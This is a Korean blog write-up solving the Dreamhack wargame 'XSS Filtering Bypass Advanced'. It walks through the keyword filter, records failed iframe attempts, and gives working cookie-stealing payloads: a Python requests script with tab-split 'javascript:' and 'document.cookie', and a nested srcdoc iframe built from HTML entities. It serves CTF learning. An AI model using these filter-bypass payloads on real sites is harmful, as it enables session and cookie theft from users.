[문제 풀이] XSS Filtering Bypass Advanced

 

 

문제 주소 : XSS Filtering Bypass Advanced | 워게임 | Dreamhack

 

1) 문제 파악

- 쿠키에 Flag가 있고, 서버에서 셀레늄을 이용해서 페이지에 접속할 때 쿠키를 같이 가져간다

- 취약점은 vuln에 있다. param으로 보낸 값을 '필터 후' 렌더링 없이 raw 데이터를 보여준다

- 메모 페이지에는 메모를 남길 수 있다

-> 서버에서 flag 페이지를 이용하여 vuln에 접속, vuln에 들어가는 param을 payload로 작성하여, 쿠키를 메모로 보낸다.

 

2) 장애물

필터링

["script", "on", "javascript"]

["window", "self", "this", "document", "location", "(", ")", "&#"]

 

 

아무것도 못 한다.

  필터링 -> img 등을 이용해서 접근하도록 한다. 그런데 접근만 해서는 cookie를 가져올 수가 없다.

 

 

3) 시도했다 실패한 것

 

-  iframe base64 -> 스크립트 실행은 가능한데 document.cookie가 안된다.

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

VM1195:1 Uncaught SecurityError: Failed to read the 'cookie' property from 'Document': Cookies are disabled inside 'data:' URLs.    at <anonymous>:1:10

-> iframe을 쓸거면 data를 쓸 수 없다는 뜻

 

인코딩 후 URL에 +가 있으면 %2B로 변경

 

 

 -  URL 인코딩해서 보내는 건 의미가 없음 이미 서버단에서 받을 때 디코딩을 해서 받음

<iframe srcdoc="<body &#x6f;nload=&quot;alert`1`&quot;>"></iframe>

 

&quot; 는 큰따옴표

 

 

풀이들

 

풀이1)

%09 이용 -> 브라우저를 이용할 경우에는 메모장에 탭하고 복사해서 쓴다.

import requests

url = 'http://host8.dreamhack.games:15810/flag'

data= {'param':'<iframe src="javasc\x09ript:locatio\x09n.href=\'/memo?memo=\'%2bd\x09ocument.cookie"></iframe>'}

resp = requests.post(url, data=data)
print(resp.text)

 

1) vuln에서는 필터되는데 왜 flag에서는 필터가 안되지?

 -> vuln에 들어갈 때는 f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" 특수문자가 이스케이핑 되어 들어간다

 

즉 vuln에 바로 테스트를 해서는 결과가 맞지 않음

 

2) 왜 %20 공백은 안 되고 %09 탭은 되는가?

 

3)  URL 스킴이 아닌 document.cookie에서는 는 또 어떻게 가능한지?

 

 

풀이2 - SVG + base64

 

 

풀이3) iframe 안에 iframe

 

<payload>

%3Ciframe%20srcdoc%3D%22%3Ciframe%20srcdoc%3D'%3C%26amp%3B%2383%3Bcript%3El%26amp%3B%23x6f%3Bcati%26amp%3B%23x6f%3Bn%3D%60%2Fmemo%3Fmemo%3D%60%2Bd%26amp%3B%23x6f%3Bcument.cookie%3C%2f%26amp%3B%2383%3Bcript%3E'%3E%22%3E

 

 

HTML 특수문자 이용 (&#)

 

<참고> HTML 특수문자 리스트

🏷️ &nbsp /&amp /&lt /&gt /&quot 기호 의미

댓글

Designed by JB FACTORY